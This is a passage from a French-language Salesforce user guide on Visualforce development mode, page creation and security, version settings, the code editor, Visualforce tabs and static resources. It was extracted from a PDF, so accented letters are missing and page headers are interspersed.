Configuration Dvelopper Pages, activer le mode de dveloppement de Visualforce est le meilleur moyen de concevoir
des pages Visualforce. Le mode de dveloppement offre :

Un pied de page ddi au dveloppement sur toutes les pagesVisualforce dfinies.

Le pied de page comprend un diteur pour le balisage de la page et le contrleur associ si ncessaire. L'diteur de balisage
de page utilise la surbrillance et propose des noms pour les balises de composants. Ce pied de page comprend galement
un lien vers la documentation de rfrence du composant.

La possibilit de dfinir de nouvelles pages Visualforce seulement en entrant une URL spcifique.
Des messages d'erreur contenant des traces de pile plus dtailles que celles que les utilisateurs standard reoivent.

Pour activer le mode de dveloppement de Visualforce :

Dvelopper

Guide de l'utilisateur | Dfinition des pages Visualforce | 951

1. Cliquez sur Configuration Mes informations personnelles Informations personnelles et cliquez sur Modifier.
2. Cochez la case Mode Dveloppement.
3. Cliquez sur Enregistrer.

Voir aussi :
Prsentation de Visualforce
Dfinition des pages Visualforce

Dfinition des pages Visualforce

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et dfinir les paramtres de version de
pages Visualforce :

Personnaliser l'application

Vous pouvez crer des pages Visualforce en utilisant le mode dveloppement Visualforce ou en crant des pages dans la
configuration Configuration.
Pour crer des pages en utilisant le mode dveloppement Visualforce :
1. Dans votre navigateur, entrez une URL sous la forme suivante :
http://mySalesforceInstance/apex/nom_nouvelle_page, o la valeur de mySalesforceInstance est le nom
d'hte de votre instance Salesforce.com (par exemple, na3.salesforce.com) et la valeur de nom_nouvelle_page est
la valeur que vous dsirez donner au champ Nom sur votre dfinition de page.

Par exemple, si vous voulez crer une page intitule Bonjour et que votre organisation Salesforce.com utilise l'exemple
na3.salesforce.com, saisissez https://na3.salesforce.com/apex/Bonjour.
Remarque: Les noms de page ne peuvent pas excder 40 caractres.

2. Comme la page n'existe pas encore, vous tes dirig vers une page intermdiaire partir de laquelle vous pouvez crer votre
page. Cliquez sur Crer une page nom_nouvelle_page pour crer la page. Le nom et l'tiquette de la page sont
remplacs par la valeur nom_nouvelle_page que vous avez spcifie dans l'URL.
Pour crer des pages dans la configuration :
1. Cliquez sur Configuration Dvelopper Pages.
2. Cliquez sur Nouveau.
3. Dans la zone de saisie Nom, entrez le texte qui doit apparatre dans l'URL comme nom de la page. Ce nom ne peut contenir
que des caractres de soulignement et alphanumriques, et il doit tre unique dans votre organisation. Il doit commencer
par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits
de soulignement conscutifs.

Dvelopper

Guide de l'utilisateur | Dfinition des pages Visualforce | 952

4. Dans la zone de saisie tiquette, entrez le texte qui doit identifier la page dans les outils de configuration, comme lorsque
vous dfinissez des onglets personnaliss ou que vous remplacez les boutons standard.
5. Dans la zone de saisie Corps, entrez le balisage Visualforce pour la page. Une page peut contenir jusqu' 1 Mo de texte,
soit approximativement 1 000 000 de caractres.
6. Cliquez sur Paramtres de version pour spcifier la version de Visualforce et de l'API utilise avec cette page. Si votre
organisation a des packages grs installs depuis AppExchange, vous pouvez galement spcifier la version de chaque
package gr utiliser. Gnralement, vous devez utiliser les valeurs par dfaut pour toutes les versions. Elles associent la
page la version la plus rcente de Visualforce et de l'API, ainsi que de chaque package gr. Vous pouvez spcifier une
version antrieure de Visualforce et de l'API pour conserver un comportement spcifique. Vous pouvez spcifier une version
antrieure d'un package gr si vous souhaitez accder des composants ou des fonctionnalits du package qui diffrent
de la version la plus rcente du package.
7. Cliquez sur Enregistrer pour enregistrer vos modifications et revenir l'cran de dtails Visualforce ou cliquez sur
Enregistrement rapide pour enregistrer vos modifications et continuer modifier votre page. Votre balisage Visualforce
doit tre valide pour que vous puissiez enregistrer votre page.
Remarque: Bien que votre balisage Visualforce puisse tre modifi dans cette partie de la configuration, pour
afficher les rsultats des modifications apportes, vous devez accder l'URL de votre page. C'est la raison pour
laquelle les dveloppeurs prfrent gnralement travailler en mode dveloppement, ce qui leur permet de visualiser
et de modifier les pages partir d'une seule et mme fentre.
Une fois votre page cre, vous pouvez y accder via une URL ayant le format suivant :
http://mySalesforceInstance/apex/nom_nouvelle_page, o la valeur de mySalesforceInstance est le nom
d'hte de votre instance Salesforce.com (par exemple, na3.salesforce.com) et la valeur de nom_nouvelle_page est la
valeur du champ Nom sur votre dfinition de page.

Voir aussi :
Prsentation de Visualforce
Activation du mode Dveloppement
Gestion des pages Visualforce
Affichage et modification des pages Visualforce
Cration d'onglets Visualforce
Qu'est-ce qu'une ressource statique ?

Dvelopper

Guide de l'utilisateur | Dfinition des pages Visualforce | 953

Gestion des paramtres de version pour les pages Visualforce

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et dfinir les paramtres de version de
pages Visualforce :

Personnaliser l'application

Pour faciliter la rtrocompatibilit, chaque page Visualforce est enregistre avec les paramtres de la version spcifie de l'API,
ainsi que la version spcifique de Visualforce. Si la page Visualforce rfrence des packages grs installs, les paramtres de
version de chaque package gr, rfrenc par le composant Visualforce, sont galement enregistrs. Ainsi, lorsque Visualforce,
l'API et les composants de packages grs voluent avec les versions ultrieures, une page reste lie aux versions avec un
comportement spcifique connu.
Une version de package est un ensemble de composants tlchargs dans un package. Elle est indique par un numro de
version qui se prsente sous le format numroPrincipal.numroSecondaire.numroCorrectif tel que 2.1.3. Notez
que le numroCorrectif est gnr uniquement si vous crez un correctif. En l'absence de correctif, le numroCorrectif
indique un zro (0). Les versions de correctifs sont disponibles via un programme pilote. Pour plus d'informations sur l'activation
de versions de correctifs pour votre organisation, contactez salesforce.com. Les versions de package permettent aux diteurs
d'adapter les composants de leurs packages grs en publiant gracieusement des versions ultrieures sans gner les intgrations
clientes existantes en utilisant le package.
Pour dfinir l'API Salesforce.com et la version Visualforce pour une page Visualforce :
1. Modifiez une page Visualforce, puis cliquez sur Paramtres de version.
Remarque: Vous pouvez accder uniquement aux paramtres de version d'une page si vous la modifiez en cliquant
sur Configuration Dvelopper Pages. Vous ne pouvez pas accder aux paramtres de version si vous modifiez
une page l'aide du Mode dveloppeur.
2. Slectionnez la Version de l'API Salesforce.com. Il s'agit galement de la version de Visualforce utilise avec la page.
3. Cliquez sur Enregistrer.
Pour configurer les paramtres de version du package pour une page Visualforce :
1. Modifiez une page Visualforce, puis cliquez sur Paramtres de version.
2. Slectionnez une Version pour chaque package gr rfrenc par la page Visualforce : Cette version du package gr
continue d'tre utilise par la page Visualforce si des versions ultrieures du package gr sont installes, sauf si vous mettez
manuellement jour le paramtre de version. Pour ajouter un package gr install la liste des paramtres, slectionnez
un package dans la liste des packages disponibles. Cette liste s'affiche uniquement si un package gr install n'est pas dj
associ la page ou au composant.
3. Cliquez sur Enregistrer.
Notez les points suivants lorsque vous utilisez des paramtres de version de package :

Si vous avez une page Visualforce qui rfrence un package gr sans spcifier sa version, la page Visualforce est associe
par dfaut la dernire version installe du package gr.

Dvelopper

Guide de l'utilisateur | Gestion des pages Visualforce | 954

Vous ne pouvez pas Supprimer le paramtre de version d'une page Visualforce pour un package gr si ce dernier est
rfrenc par la page Visualforce. Utilisez Afficher les dpendances pour connatre l'emplacement du rfrencement du
package gr.

Voir aussi :
Dfinition des pages Visualforce
Activation du mode Dveloppement
Gestion des pages Visualforce
Affichage et modification des pages Visualforce
Cration d'onglets Visualforce
Qu'est-ce qu'une ressource statique ?
propos des packages grs

Gestion des pages Visualforce

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer et modifier des pages Visualforce :

Personnaliser l'application

Aprs avoir cr vos pages Visualforce, vous pouvez les personnaliser, les modifier et les supprimer. Cliquez sur Configuration
Dvelopper Pages pour afficher la page de liste Pages, qui montre toutes les pages Visualforce dfinies pour votre
entreprise. partir de la page de liste Pages, vous pouvez effectuer les oprations suivantes :

Cliquer sur Nouveau pour dfinir une nouvelle page Visualforce.

Cliquer sur un nom de page pour afficher des informations dtailles concernant cette page, y compris son tiquette et le
balisage Visualforce.
Cliquer sur Modifier en regard du nom d'une page pour en modifier le nom, l'tiquette ou le balisage Visualforce.
Remarque: Une icne indique la prsence d'une page Visualforce dans un package gr install. Vous ne pouvez
pas modifier ou supprimer une page Visualforce dans un package gr.

Cliquez sur Suppr pour supprimer une page.

Cliquez sur Securit pour grer la scurit de la page.
Remarque: Le prfixe d'espace de noms est ajout aux classes Apex, aux dclencheurs Apex, aux composants Apex,
aux pages Visualforce, aux modles de marques, aux dossiers, aux commandes s-controls, aux ressources statiques, aux
liens Web et aux types de rapports personnaliss s'ils sont inclus dans une package gr. Toutefois, si votre profil n'a
pas d'autorisations d'application personnalises, le champ de prfixe d'espace de noms ne s'affiche pas pour les modles

Dvelopper

Guide de l'utilisateur | Paramtrage de la page de scurit Visualforce | 955

de marques, les dossiers et les types de rapports personnaliss. Pour plus d'informations sur les prfixes d'espace de
noms, reportez-vous Enregistrer un prfixe d'espace de noms la page 875.

Voir aussi :
Prsentation de Visualforce
Affichage et modification des pages Visualforce
Cration d'onglets Visualforce
Paramtrage de la page de scurit Visualforce

Paramtrage de la page de scurit Visualforce

Vous pouvez spcifier les utilisateurs qui peuvent excuter une page Visualforce particulire en fonction de leur profil.
L'autorisation pour une page Visualforce est uniquement vrifie au niveau suprieur. Une fois qu'une page est active pour
un profil, des utilisateurs avec ce profil peuvent accder la page et excuter tout l'Apex associ cette page. notamment :

le contrleur de la page et toute classe Apex appele depuis la classe de contrleur

toute classe d'extension pour la page et tout Apex appel depuis une extension
toute classe Apex associe des composants personnaliss dans la page
toute classe associe la page par l'utilisation de apex:include ou apex:composition

Par exemple, si une page A d'un contrleur qui appelle une classe B d'Apex, et qu'un profil utilisateur n'a accs qu' la page
A mais pas la classe B, l'utilisateur peut quand mme parvenir excuter le code de la classe A. De mme, si une page
Visualforce utilise un composant personnalis avec un contrleur associ, la scurit n'est vrifie que pour le contrleur associ
la page.
Pour dfinir la scurit de la page Visualforce partir d'une dfinition de page :
1.
2.
3.
4.
5.

Cliquez sur Configuration Dvelopper Pages.

En regard du nom de la page restreindre, cliquez sur Scurit.
Dans la liste Profils disponibles, slectionnez les profils activer et cliquez sur Ajouter.
Dans la liste Profils activs, slectionnez les profils dsactiver et cliquez sur Supprimer.
Cliquez sur Enregistrer.

Pour dfinir la scurit de la page Visualforce partir d'une page dtails de profil :
Cliquez sur Configuration Gestion des utilisateurs Profils.
Cliquez sur le nom du profil modifier.
Dans la liste associe Accs la page Visualforce active, cliquez sur Modifier.
Slectionnez les pages Visualforce que vous souhaitez activer dans la liste Pages Visualforce disponibles et cliquez sur
Ajouter.
5. Slectionnez les pages Visualforce que vous souhaitez dsactiver dans la liste Pages Visualforce actives et cliquez sur
Supprimer.
6. Cliquez sur Enregistrer.
1.
2.
3.
4.

Si l'Personnaliser l'application d'un utilisateur est active dans son profil, il a accs toutes les pages Visualforce de l'entreprise
associe. Cependant, cet utilisateur peut encore avoir des restrictions en relation avec les classes Apex. L'Personnaliser

Dvelopper

Guide de l'utilisateur | Affichage et modification des pages Visualforce | 956

l'application ne permet pas un utilisateur d'ignorer ces restrictions dans une page Visualforce moins qu'un accs la page
Visualforce n'ait t accord au profil.
De plus, pour ajouter Apex une page, l'utilisateur doit disposer des autorisations ou des droits d'accs la classe Apex via la
scurit au niveau des classes.

Voir aussi :
Gestion des pages Visualforce
Paramtrage de la scurit d'une classe Apex

Affichage et modification des pages Visualforce

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour cloner, modifier ou supprimer le balisage Visualforce :

Personnaliser l'application

Pour modifier les contrleurs Visualforce

Auteur Apex

Cliquez sur Configuration Dvelopper Pages et cliquez sur le nom d'une page Visualforce pour en voir les dtails, tels
que la date de cration, la date de la dernire modification et le balisage Visualforce associ la page.
partir de la page de dtails, vous pouvez effectuer les oprations suivantes :

Cliquez sur Modifier pour modifier le balisage de la page.

Cliquez sur Supprimer pour supprimer la page.
Cliquez sur Cloner pour crer une copie de la page. Vous devez indiquer un nouveau nom pour la nouvelle page.
Cliquez sur O cette option est-elle utilise ? pour afficher la liste de toutes les rfrences la page de votre entreprise.
Cliquez sur Afficher les dpendances pour afficher les lments, tels que les champs, les objets, ou les autres classes, qui
doivent exister pour que cette classe soit valide. Pour plus d'informations, reportez-vous Prsentation des dpendances
la page 853.
Remarque: Si la page Visualforce est incluse dans un package gr install, vous pouvez uniquement l'afficher. Vous
ne pouvez pas la modifier, la supprimer ni la cloner.

Pour faciliter la rtrocompatibilit, les pages sont stockes avec les paramtres d'une version Visualforce spcifique et l'API.
Si la page rfrence des composants (par exemple un objet personnalis) dans un package gr install, les paramtres de version
de chaque package gr que la classe rfrence sont galement enregistrs. Si la page Visualforce est incluse dans un package
gr install, Package install indique le nom du package. Le champ Disponible dans les versions du package
indique la plage de versions de package dans la laquelle la page Visualforce est disponible. Le premier numro de version de
la plage correspond la premire version de package installe qui contient la page Visualforce.

Dvelopper

Guide de l'utilisateur | Exceptions non gres dans Visualforce | 957

Affichage et modification des pages Visualforce en mode dveloppement

Quand le mode dveloppement est activ, vous pouvez galement afficher et modifier le contenu d'une page en accdant son
URL. Par exemple, si une page est intitule Bonjourtous, et que votre instance salesforce.com est na3.salesforce.com,
entrez https://na3.salesforce.com/apex/Bonjourtous.
La page prsente s'affiche avec le pied de page du mode dveloppement au bas de la fentre.

Cliquez sur diteur de pages pour afficher et modifier le balisage Visualforce associ sans avoir revenir dans la zone
Configuration. Toutes les modifications que vous apportez au balisage de la page s'affichent immdiatement lorsque vous
enregistrez cette page.
Si la page utilise un contrleur personnalis, cliquez sur Contrleur pour modifier la classe Apex associe.
Cliquez sur Enregistrer (juste au-dessus du volet de modification) pour enregistrer vos modifications et actualiser le contenu
de la page.
Cliquez sur Rfrences des composants pour afficher la documentation en ligne de tous les composants Visualforce pris
en charge.
Cliquez sur O cette option est-elle utilise ? pour afficher la liste de tous les lments de Salesforce.com qui font rfrence
la page, comme les onglets personnaliss, les contrleurs ou d'autres pages.

Voir aussi :
Prsentation de Visualforce
Activation du mode Dveloppement
Dfinition des pages Visualforce
Gestion des pages Visualforce
Cration d'onglets Visualforce
Gestion des paramtres de version pour les pages Visualforce
propos des packages grs
Prsentation d'une version de package

Exceptions non gres dans Visualforce

Si une page Visualforce que vous n'avez pas dveloppe contient une erreur ou une exception non gre

Vous pouvez voir une explication simple du problme dans Salesforce.com.

Le dveloppeur qui a crit la page reoit l'erreur par e-mail avec votre identifiant et celui de votre entreprise. Aucune autre
donne utilisateur n'est incluse dans le rapport.

Si vous tes en mode de dveloppement et dans un espace de nom diffrent de la page, vous verrez le message d'exception, le
type d'exception et la notification indiquant que le dveloppeur a t notifi par e-mail.
Si vous tes le dveloppeur et que vous tes dans le mme espace de nom que la page, et que vous n'tes pas en mode de
dveloppement, vous verrez un message d'exception. Vous verrez aussi un message indiquant que le dveloppeur a t notifi.
Si vous tes en mode de dveloppement, vous verrez le message d'exception, le type d'exception et la trace de pile Apex.

Dvelopper

Guide de l'utilisateur | Utilisation de l'diteur pour Visualforce ouApex | 958

Utilisation de l'diteur pour Visualforce ouApex

Apex est disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Visualforce est disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition,
Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier le balisage Visualforce :

Personnaliser l'application

Pour modifier les contrleurs Visualforce ou Apex

Auteur Apex

Lors de la modification de Visualforce ou d'Apex, soit dans le pied de page du mode de dveloppement Visualforce soit depuis
la configuration, un diteur est disponible avec les fonctionnalits suivantes :
Mise en surbrillance de la syntaxe
L'diteur applique automatiquement la mise en surbrillance de la syntaxe pour les mots et toutes les fonctions et oprateurs.
Recherche (

Rechercher vous permet de rechercher du texte dans la page, la classe ou le dclencheur actuel. Pour utiliser rechercher,
saisissez une chane dans la zone de texte rechercher et cliquez sur rechercher suivant.

Pour remplacer une chane de recherche trouve, saisissez la nouvelle chane dans la zone de texte remplacer et
cliquez sur remplacer pour remplacer uniquement cette instance, ou sur remplacer tout pour remplacer cette instance
et toutes les autres instances de la chane de recherche qui se produit dans la page, la classe ou le dclencheur.
Pour rendre l'opration de recherche sensible la casse, slectionnez l'option respecter la casse.
Pour utiliser une expression rgulire comme chane de recherche, slectionnez l'option expressions rgulires. Les
expressions rgulires suivent les rgles d'expression rgulire de JavaScript. Une recherche utilisant des expressions
rgulires peut trouver des chanes qui continuent sur plus d'une ligne.
Si vous utilisez l'opration de remplacement avec une chane trouve par une expression rgulire, l'opration de
remplacement peut aussi relier des variables de groupe d'expressions rgulires ($1, $2, etc.) partir de la chane de
recherche trouve. Par exemple, pour remplacer une balise <H1> par <H2> et conserver intacts tous les attributs de
l'original <H1>, recherchez <H1(\s+)(.*)> et remplacez-la par <H2$1$2>.

Aller la ligne (

Ce bouton vous permet de mettre en surbrillance un numro de ligne spcifi. Si la ligne n'est pas visible actuellement,
l'diteur accde cette ligne.
Annuler (

) et Rpter (

Utilisez annuler pour annuler une action de modification et rtablir pour rpter une action d'dition prcdemment
annule.

Dvelopper

Guide de l'utilisateur | Utilisation de l'diteur pour Visualforce ouApex | 959

Taille de la police
Slectionnez une taille de police dans la liste droulante pour contrler la taille des caractres affichs dans l'diteur.
Position de ligne et de colonne
La position de ligne et de colonne du curseur est affiche dans la barre d'tat en bas de l'diteur. Vous pouvez l'utiliser
avec la fonction Aller la ligne (

) pour acclrer la navigation dans l'diteur.

Dcompte du nombre de lignes et de caractres

Le nombre total de lignes et de caractres est affich dans la barre d'tat en bas de l'diteur.
L'diteur gre les raccourcis clavier suivants :
Onglet

Ajoute un onglet au niveau du curseur

Maj+Tab

Supprime un onglet
Ctrl+f

Ouvre la bote de dialogue de recherche ou recherche l'occurrence suivante de la recherche actuelle

Ctrl+r

Ouvre la bote de dialogue de recherche ou remplace l'occurrence suivante de la recherche actuelle avec la chane de
remplacement spcifie
Ctrl+g

Ouvre la bote de dialogue aller la ligne

CTRL+s

Excute un enregistrement rapide

Ctrl+z

Annule la dernire action d'dition

Ctrl+y

Rtablit la dernire action d'dition annule

Voir aussi :
Affichage et modification des pages Visualforce

Dvelopper

Guide de l'utilisateur | Cration d'onglets Visualforce | 960

Cration d'onglets Visualforce

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer des onglets Visualforce :

Personnaliser l'application

Vous pouvez crer des onglets Visualforce pour permettre aux utilisateurs d'accder aux pages Visualforce depuis Salesforce.com.
Pour crer un onglet Visualforce :
1. Cliquez sur Configuration Crer Onglets.
2. Cliquez sur Nouveau dans la liste associe Onglets Visualforce.
3. Slectionnez la page Visualforce afficher dans l'onglet personnalis. Si vous n'avez pas encore cr la page Visualforce,
cliquez sur Crer une page maintenant et suivez les instructions contenues dans Dfinition des pages Visualforce la page
951.
4. Spcifiez l'tiquette qui s'affiche sur l'onglet.
5. Cliquez sur l'icne de recherche Style de l'onglet pour afficher la slection du type d'onglet.
Si un style d'onglet est dj en cours d'utilisation, un nombre entre crochets ([]) apparat en regard du nom du style d'onglet.
Survolez le nom du style pour afficher les onglets qui l'utilisent. Cliquez sur Masquer les styles utiliss sur
d'autres onglets pour filtrer la liste.
6. Cliquez sur un style d'onglet pour slectionner le jeu de couleurs et l'icne de l'onglet personnalis.
Vous pouvez galement cliquer sur Crer votre propre style dans la bote de dialogue Slection du style d'onglet pour crer
un style d'onglet personnalis, condition que votre entreprise ait accs l'onglet Documents. Pour crer votre propre style
d'onglet :
a. Cliquez sur l'icne de recherche Color pour afficher la bote de dialogue de slection des couleurs, puis cliquez sur une
couleur pour la slectionner.
b. Cliquez sur Insert an Image, puis slectionnez le dossier de documents contenant l'image utiliser et l'image voulue.
Vous pouvez galement cliquer sur Rechercher dans des documents, entrer un terme de recherche et cliquer sur OK
pour rechercher les fichiers dont le nom contient le terme de recherche.
Remarque: Cette bote de dialogue rpertorie uniquement les fichiers figurant dans des dossiers de documents
de moins de 20 Ko et dont la case Accessible en externe est coche dans les paramtres de proprits de document.
Pour plus d'informations, reportez-vous aux sections relatives au tlchargement d'images et aux paramtres
de proprits de document. Si le document utilis pour l'icne est par la suite supprim, Salesforce.com la
remplace par une icne par dfaut en forme de cube multicolore (

).

c. Slectionnez un fichier et cliquez sur OK. L'assistant Nouvel onglet personnalis rapparat.
7. Vous pouvez galement cocher la case Mobile prt pour indiquer que la page Visualforce s'affiche et fonctionne correctement
sur un navigateur Web mobile.

Dvelopper

Guide de l'utilisateur | Qu'est-ce qu'une ressource statique ? | 961

Le fait de cocher la case ajoute l'onglet la liste des onglets disponibles de vos configurations mobiles. Reportez-vous
Gestion des onglets mobiles la page 2007 pour obtenir des informations sur la faon de mobiliser des onglets. Examinez
les points ncessaires l'laboration de pages Visualforce compatibles avec les navigateurs mobiles avant de mobiliser un
onglet Visualforce.
Notez que la case cocher Mobile prt n'est visible que si Salesforce Mobile est activ pour votre entreprise.
8. Si vous le souhaitez, dfinissez un lien personnalis comme page de bienvenue lorsque les utilisateurs cliquent la premire
fois sur l'onglet. Pour obtenir des informations sur la cration d'un lien personnalis utiliser comme page de bienvenue
pour votre onglet personnalis, reportez-vous Configuration des boutons et liens personnaliss la page 579. Notez que
les pages de bienvenue ne s'affichent pas dans l'application mobile. vitez d'utiliser une page de bienvenue si vous prparez
les onglets Visualforce mobiles.
9. Si vous le souhaitez, entrez une description de l'onglet et cliquez sur Suivant.
10. Choisissez pour quels profils utilisateur le nouvel onglet sera disponible :

Slectionnez Appliquer une visibilit d'onglet tous les profils, et choisissez Valeur par dfaut active, Valeur par
dfaut dsactive ou Onglet cach dans la liste droulante.
Vous pouvez galement slectionner Appliquer une visibilit d'onglet diffrente chaque profil, et choisir Valeur par
dfaut active, Valeur par dfaut dsactive ou Onglet cach dans la liste droulante de chaque profil.

11. Spcifiez les sous-applications personnalises qui doivent inclure le nouvel onglet. Pour plus d'informations concernant les
sous-applications personnalises, consultez la rubrique Prsentation d'une sous-application la page 681.
12. Cochez la case Ajouter l'onglet aux personnalisations existantes de l'utilisateur pour ajouter
le nouvel onglet aux paramtres d'affichage personnalis de vos utilisateurs s'ils ont personnalis leur affichage.
13. Cliquez sur Enregistrer.

Voir aussi :
Prsentation de Visualforce
Dfinition des pages Visualforce

Qu'est-ce qu'une ressource statique ?

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Les ressources statiques vous permettent de tlcharger du contenu que vous pouvez rfrencer dans une page Visualforce,
notamment des archives (fichiers .zip et .jar), des images, des feuilles de style, des fichiers JavaScript, entre autres.
Il est prfrable d'utiliser une ressource statique plutt que de tlcharger un fichier dans l'onglet Documents pour plusieurs
raisons :

Vous pouvez regrouper un ensemble de fichiers lis dans une hirarchie de rpertoire et la tlcharger en tant qu'archive
.zip ou .jar.
Vous pouvez faire rfrence une ressource statique dans le balisage d'une page par son nom, en utilisant la variable globale
$Resource au lieu d'avoir programmer des ID de document :

Dvelopper

Guide de l'utilisateur | Qu'est-ce qu'une ressource statique ? | 962

Pour faire rfrence un fichier autonome, utilisez $Resource.<nom_ressource> comme fichier de fusion,
<nom_ressource> tant le nom que vous spcifiez lors du tlchargement de la ressource. Par exemple :
<apex:image url="{!$Resource.TestImage}" width="50" height="50" />

ou
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>

Pour faire rfrence un fichier dans une archive, utilisez la fonction URLFOR. Indiquez le nom de ressource statique
que vous avez fourni lors du tlchargement de l'archive avec le premier paramtre, ainsi que le chemin du fichier
souhait dans l'archive avec le second paramtre. Par exemple :
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50"
height="50" />

ou
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>

Vous pouvez utiliser des chemins relatifs dans des fichiers d'archives de ressources statiques, pour rfrencer d'autres
contenus dans l'archive. Par exemple, dans votre fichier CSS, nomm styles.css, vous avez le style suivant :
table { background-image: img/testimage.gif }

Lorsque vous utilisez ce CCS dans une page Visualforce, vous devez vous assurer que le fichier CCS pour retrouver l'image.
Pour cela, crez une archive (telle qu'un fichier zip) qui inclut styles.css et img/testimage.gif. Assurez-vous de
prserver la structure du chemin dans l'archive. Tlchargez ensuite le fichier d'archive en tant que ressource statique
nomme style_ressources. Dans votre page, ajoutez le composant suivant :
<apex:stylesheet value="{!URLFOR($Resource.style_ressources, 'styles.css')}"/>

Comme la ressource statique contient la feuille de style et l'image, le chemin relatif de la feuille de style est rsolu et l'image
est affiche.
Une seule ressource statique peut contenir jusqu' 5 Mo de donnes et une entreprise peut disposer de 250 Mo maximum de
ressources statiques. Les ressources statiques s'appliquent aux quotas de stockage de donnes de votre entreprise.

Voir aussi :
Dfinition des ressources statiques
Gestion des ressources statiques
Affichage et modification des ressources statiques
Prsentation de Visualforce

Dvelopper

Guide de l'utilisateur | Dfinition des ressources statiques | 963

Dfinition des ressources statiques

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer des ressources statiques :

Personnaliser l'application

Pour crer une ressource statique :

1. Cliquez sur Configuration Dvelopper Ressources statiques.
2. Cliquez sur Nouvelle ressource statique.
3. Dans la zone de saisie Nom, entrez le texte qui doit identifier la ressource dans le balisage Visualforce. Ce nom ne peut
contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans votre organisation. Il doit
commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir
deux traits de soulignement conscutifs.
Remarque: Si vous faites rfrence une ressource statique dans le balisage Visualforce et que vous changez ensuite
le nom de la ressource, le balisage Visualforce est mis jour afin de reflter ce changement.
4. Dans la zone de saisie Description, entrez ventuellement une description de la ressource.
5. ct de la zone de saisie Fichier, cliquez sur Parcourir pour accder une copie locale de la ressource tlcharger.
Une seule ressource statique peut contenir jusqu' 5 Mo de donnes et une entreprise peut disposer de 250 Mo maximum
de ressources statiques.
6. Cliquez sur Enregistrer.

Voir aussi :
Qu'est-ce qu'une ressource statique ?
Gestion des ressources statiques
Affichage et modification des ressources statiques
Prsentation de Visualforce

Dvelopper

Guide de l'utilisateur | Gestion des ressources statiques | 964

Gestion des ressources statiques

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer et modifier des ressources statiques :

Personnaliser l'application

Aprs avoir cr des ressources statiques, vous pouvez les personnaliser, les modifier et les supprimer. Cliquez sur Configuration
Dvelopper Ressources statiques pour afficher la page de liste Ressources statiques, qui prsente la liste des ressources
dfinies dans votre entreprise. partir de cette page, vous pouvez :

Cliquer sur Nouvelle ressource statique pour dfinir une nouvelle ressource statique.
Cliquer sur le nom d'une ressource pour afficher des informations dtailles sur la page, y compris son type de MIME
(Multipurpose Internet Mail Extensions) et sa taille.
Cliquer sur Modifier prs d'une ressource pour modifier le nom de la ressource ou pour en tlcharger une nouvelle version.
Cliquez sur Suppr pour supprimer une ressource.
Remarque: Le prfixe d'espace de noms est ajout aux classes Apex, aux dclencheurs Apex, aux composants Apex,
aux pages Visualforce, aux modles de marques, aux dossiers, aux commandes s-controls, aux ressources statiques, aux
liens Web et aux types de rapports personnaliss s'ils sont inclus dans une package gr. Toutefois, si votre profil n'a
pas d'autorisations d'application personnalises, le champ de prfixe d'espace de noms ne s'affiche pas pour les modles
de marques, les dossiers et les types de rapports personnaliss. Pour plus d'informations sur les prfixes d'espace de
noms, reportez-vous Enregistrer un prfixe d'espace de noms la page 875.

Voir aussi :
Qu'est-ce qu'une ressource statique ?
Dfinition des ressources statiques
Affichage et modification des ressources statiques
Prsentation de Visualforce

Dvelopper

Guide de l'utilisateur | Affichage et modification des ressources statiques | 965

Affichage et modification des ressources statiques

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour cloner, modifier ou supprimer des ressources statiques : Personnaliser l'application

Cliquez sur Configuration Dvelopper Ressources statiques puis cliquez sur le nom d'une ressource pour afficher ses
dtails, y compris son type de MIME, la taille des ressources en octets, la date de sa cration et de la dernire modification.
partir de la page de dtails, vous pouvez effectuer les oprations suivantes :

Cliquez sur Modifier pour modifier la ressource.

Cliquez sur Supprimer pour supprimer la ressource.
Cliquez sur Cloner pour crer une copie de la ressource. Vous devez spcifier un nouveau nom pour la nouvelle ressource.
Cliquez sur O cette option est-elle utilise ? pour afficher la liste de toutes les rfrences de ressource statique de votre
entreprise.

Voir aussi :
Qu'est-ce qu'une ressource statique ?
Dfinition des ressources statiques
Gestion des ressources statiques
Prsentation de Visualforce

Prsentation d'un composant personnalis

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Salesforce.com propose une bibliothque de composants standard, pr-intgrs, tels que <apex:relatedList> et
<apex:dataTable>, qui peuvent servir dvelopper des pages Visualforce. De plus, vous pouvez concevoir vos propres
composants personnaliss pour augmenter cette bibliothque.
Un composant personnalis encapsule un modle de conception commun qui peut tre rutilis dans une ou plusieurs pages
Visualforce. Il se compose :

d'un ensemble de balisage Visualforce spar par la balise <apex:component>

d'un contrleur de composant optionnel crit en Apex qui permet au composant d'effectuer de la logique supplmentaire,
telle que le tri des lments d'une liste ou le calcul de valeur

Dvelopper

Guide de l'utilisateur | Dfinition des composants personnaliss | 966

